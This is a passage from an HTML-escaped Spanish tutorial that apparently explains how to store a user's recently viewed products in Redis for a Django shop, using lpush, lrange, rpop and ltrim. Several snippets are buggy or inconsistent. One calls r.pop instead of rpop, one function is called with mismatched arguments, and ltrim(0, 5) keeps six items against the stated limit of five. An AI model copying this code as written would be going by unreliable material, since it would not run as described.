style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;save()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; request&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;session&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;session_key &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; request&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;is_anonymous &lt;span style=&#34;color:#ff6ac1&#34;&gt;else&lt;/span&gt; request&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;user&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;guardar-valores-en-redis-con-lpush-o-rpush&#34;&gt;Guardar valores en redis con lpush o rpush&lt;/h2&gt;&#xA;&lt;p&gt;La manera en la que guarda redis los datos es vinculándolos con una llave, esa llave tiene una lista asociada que será la que contendrá la información.&lt;/p&gt;&#xA;&lt;p&gt;Es bastante similar a un diccionario que tiene una lista como valor. El equivalente en código Python se vería más o menos así:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;id_de_usuario_unico_1&amp;#34;&lt;/span&gt;: [&lt;span style=&#34;color:#ff9f43&#34;&gt;34&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;22&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt;], &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;id_de_usuario_unico_2&amp;#34;&lt;/span&gt;: [&lt;span style=&#34;color:#ff9f43&#34;&gt;112&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;444&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;]}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Los números que guardaremos serán los id o llaves primarias de los productos.&lt;/p&gt;&#xA;&lt;p&gt;Para decirle a redis que extienda esa lista por el principio usaremos &lt;em&gt;lpush&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;El método &lt;em&gt;lpush&lt;/em&gt; recibe; el nombre de la llave que guardaremos, como primer argumento; un valor que agregará a al inicio lista de valores asociada, como segundo argumento.&lt;/strong&gt; En caso de que la llave no exista, la creará. Además &lt;em&gt;lpush&lt;/em&gt; &lt;strong&gt;retorna el tamaño de la lista asociada a la llave que le pasamos como primer argumento.&lt;/strong&gt; El método rpush hace lo mismo pero por el final.&lt;/p&gt;&#xA;&lt;p&gt;Sabiendo esto crearemos una función que tome un usuario y un id de producto y se los pase a redis para que los guarde, nuestra función retornará el valor que devuelve &lt;em&gt;lpush&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/utils.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;create_product_history_by_user&lt;/span&gt;(user_id, product_id):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    product_history_length &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; r&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;lpush(user_id, product_id)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; product_history_length&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Continuando con la analogía anterior, &lt;em&gt;lpush&lt;/em&gt; haría algo parecido a esto.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;id_de_usuario_unico_1&amp;#34;&lt;/span&gt;: [&lt;span style=&#34;color:#ff9f43&#34;&gt;34&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;22&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt;]}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;r&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;lpush(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;id_de_usuario_unico_1&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1000&lt;/span&gt;) &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;id_de_usuario_unico_1&amp;#34;&lt;/span&gt;: [&lt;span style=&#34;color:#ff9f43&#34;&gt;1000&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;34&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;22&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt;]}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;obtener-una-lista-de-valores-asociada-a-una-llave-con-lrange&#34;&gt;Obtener una lista de valores asociada a una llave con lrange&lt;/h2&gt;&#xA;&lt;p&gt;Ahora que ya hemos creado una función para extender una lista asociada a un usuario, creemos una función que nos devuelva esa lista.&lt;/p&gt;&#xA;&lt;p&gt;Usemos &lt;em&gt;lrange&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;El método &lt;strong&gt;&lt;em&gt;lrange&lt;/em&gt; nos permite pasarle una llave (&lt;em&gt;user_id&lt;/em&gt;) y nos devolverá la lista que tiene asignada&lt;/strong&gt;, desde el valor inicial (0), hasta el final (4), contando desde el principio. Es decir, los elementos con índices del 0 al 4. Como no queremos repetir valores, recurriremos una &lt;em&gt;set comprehensión&lt;/em&gt; para transformar los valores en enteros.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/utils.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;get_products_ids_by_user&lt;/span&gt;(user_id):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    last_viewed_products_ids &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; r&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;lrange(user_id, &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;) &lt;span style=&#34;color:#78787e&#34;&gt;# Devuelve [b&amp;#39;2&amp;#39;, b&amp;#39;4&amp;#39;, ...]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    last_viewed_products_ids_list &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&lt;span style=&#34;color:#ff5c57&#34;&gt;int&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;id&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;id&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; last_viewed_products_ids}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; last_viewed_products_ids_list&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Esta función nos devolverá únicamente esos valores de redis, para que podamos saber que productos retornaremos de la base de datos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;creando-un-queryset-a-partir-de-valores-de-redis&#34;&gt;Creando un queryset a partir de valores de redis&lt;/h2&gt;&#xA;&lt;p&gt;La función anterior nos devuelve una lista de valores, correspondientes a id o llaves primarias de productos en nuestra base de datos.&lt;/p&gt;&#xA;&lt;p&gt;Usaremos esa lista de valores para filtrar productos en nuestra base de datos, un uso bastante común del ORM de django con el que no deberías tener problemas.&lt;/p&gt;&#xA;&lt;p&gt;Básicamente significa: obtén todos los productos y luego fíltralos de manera que solo queden aquellos productos cuyo id o llave primaria se encuentre en la lista llamada &lt;em&gt;product_ids&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/utils.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Product&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;get_product_history_queryset_by_user&lt;/span&gt;(product_ids, product_id):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    last_viewed_products_queryset &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Product&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        id__in&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;product_ids)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;exclude(&lt;span style=&#34;color:#ff5c57&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;product_id)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; last_viewed_products_queryset&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Toma en cuenta que puedes sustituir la query &lt;em&gt;Product.objects.all()&lt;/em&gt; por la queryset que tú desees. Quizás prefieras no mostrar todos los productos en tu base de datos, sino solo los activos, los que tengan inventario o cualquier otra combinación.&lt;/p&gt;&#xA;&lt;h2 id=&#34;evitemos-guardar-valores-repetidos&#34;&gt;Evitemos guardar valores repetidos&lt;/h2&gt;&#xA;&lt;p&gt;Como no queremos que en la lista de productos vistos se repitan productos, vamos a asegurarnos de que el id o llave primaria del producto no se encuentre en la lista que estamos obteniendo antes de agregarlo.&lt;/p&gt;&#xA;&lt;p&gt;Para hacerlo solo revisamos que el id del producto se encuentre fuera de la lista que nos regresa la función &lt;em&gt;get_products_ids_by_user&lt;/em&gt; que escribimos anteriormente.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/views.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Product&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.shortcuts &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; get_object_or_404&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;product_details&lt;/span&gt;(request, product_id):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    user_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; get_user_id_for_redis(request)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    product_ids &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; get_products_ids_by_user(user_id)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;int&lt;/span&gt;(product_id) &lt;span style=&#34;color:#ff6ac1&#34;&gt;not&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; product_ids:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        create_product_history_by_user(user_id, product_id)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    product_history_queryset &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; get_product_history_queryset_by_user(product_ids)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ... más código &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Sin embargo ahora nos topamos con otro problema, que pasa si nuestra tienda tiene decenas de miles de productos y nuestro tráfico diario son decenas de miles de usuarios, ¿de verdad queremos mantener en memoria una lista tan grande de productos visitados? La mayoría de los usuarios no revisarán sus últimos mil productos para ver si se les antoja comprar algo.&lt;/p&gt;&#xA;&lt;p&gt;Es innecesario mantener una lista tan larga si solo vamos a acceder a unos cuantos productos.&lt;/p&gt;&#xA;&lt;p&gt;¿Cómo lo solucionamos? Necesitamos crear una función que nos ayude a mantener la lista de productos asociados a una llave en redis en un límite.&lt;/p&gt;&#xA;&lt;h2 id=&#34;rpop-y-lpop-de-redis-remueven-un-elemento-de-una-lista&#34;&gt;rpop y lpop de redis remueven un elemento de una lista&lt;/h2&gt;&#xA;&lt;p&gt;&lt;strong&gt;El método rpop se encarga de remover el último elemento de una lista asociada a una llave y lo devuelve.&lt;/strong&gt; El método lpop hace lo mismo, pero con el primer elemento&lt;/p&gt;&#xA;&lt;p&gt;Podemos usar rpop para para remover el elemento más antiguo e ir depurando los elementos más viejos. Si con la última inserción la lista crece más allá de nuestro limite (en este caso 5) quitaremos el elemento más antiguo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/utils.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Product&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;limit_product_history_length&lt;/span&gt;(user_id, product_history_length):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; product_history_length &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        r&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;pop(user_id)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;ltrim-es-una-alternative-a-lpop-y-rpop&#34;&gt;ltrim es una alternative a lpop y rpop&lt;/h3&gt;&#xA;&lt;p&gt;La función &lt;strong&gt;&lt;em&gt;ltrim&lt;/em&gt; de redis se encarga de cortar los valores iniciales de lista asociada a una llave&lt;/strong&gt;, le indicamos el índice inicial y su índice final como argumentos.&lt;/p&gt;&#xA;&lt;p&gt;La diferencia que tiene con ltrim es que su tiempo de ejecución es O(n), puesto que depende de la cantidad de elementos a remover, mientras que para rpop es de O(1). Si no tienes idea de que te estoy hablando visita mi entrada donde hablo un poco sobre la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/la-notacion-big-para-analisis-algoritmico/&#34;&gt;notación Big O&lt;/a&gt;&#xA; o quédate con la idea de que si solo vamos a eliminar un elemento rpop es mejor. Sin embargo puede que quieras un comportamiento diferente y te sirva más usar &lt;em&gt;ltrim&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Redis tiene información del tiempo de ejecución de cada función en su documentación y puede ser muy útil si el rendimiento de tu aplicación de django es importante.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/utils.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Product&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;limit_product_history_length&lt;/span&gt;(user_id, product_history_length):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; product_history_length &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        r&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ltrim(user_id, &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora agregamos la función para que se ejecute &lt;strong&gt;solo si ha habido una inserción&lt;/strong&gt; de un elemento en redis, es decir, si el producto actual no se encuentra en nuestra lista.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/views.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Product&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.shortcuts &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; get_object_or_404&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;product_details&lt;/span&gt;(request, product_id):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    user_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; get_user_id_for_redis(request)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    product_ids &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; get_products_ids_by_user(user_id)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; product_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;not&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; product_ids:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        product_history_length &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; create_product_history_by_user(user_id, product_id)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        limit_product_history_length(user_id, product_history_length)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    product_history_queryset &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; get_product_history_queryset_by_user(request&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;user, product_ids)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ... más código &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora que tenemos el queryset con los datos de redis, podemos retornarlo y renderizarlo en una plantilla de django, procesarlo para devolver una respuesta JSON o lo que tu aplicación requiera.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/views.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.shortcuts &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; get_object_or_404&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.template.response &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; TemplateResponse&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;product_details&lt;/span&gt;(request, product_id):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    context &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; 